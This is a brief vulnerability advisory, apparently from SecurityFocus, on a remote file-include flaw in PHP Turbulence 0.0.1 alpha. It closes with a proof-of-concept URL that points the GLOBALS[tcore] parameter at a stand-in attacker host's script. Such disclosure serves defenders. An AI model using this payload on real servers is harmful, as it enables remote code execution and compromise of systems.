source: http://www.securityfocus.com/bid/23580/info

PHP Turbulence is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects PHP Turbulence 0.0.1 alpha; other versions may also be affected. 

http://www.example.com/user/turbulence.php?GLOBALS[tcore]=http://evil_host/evil_script.txt?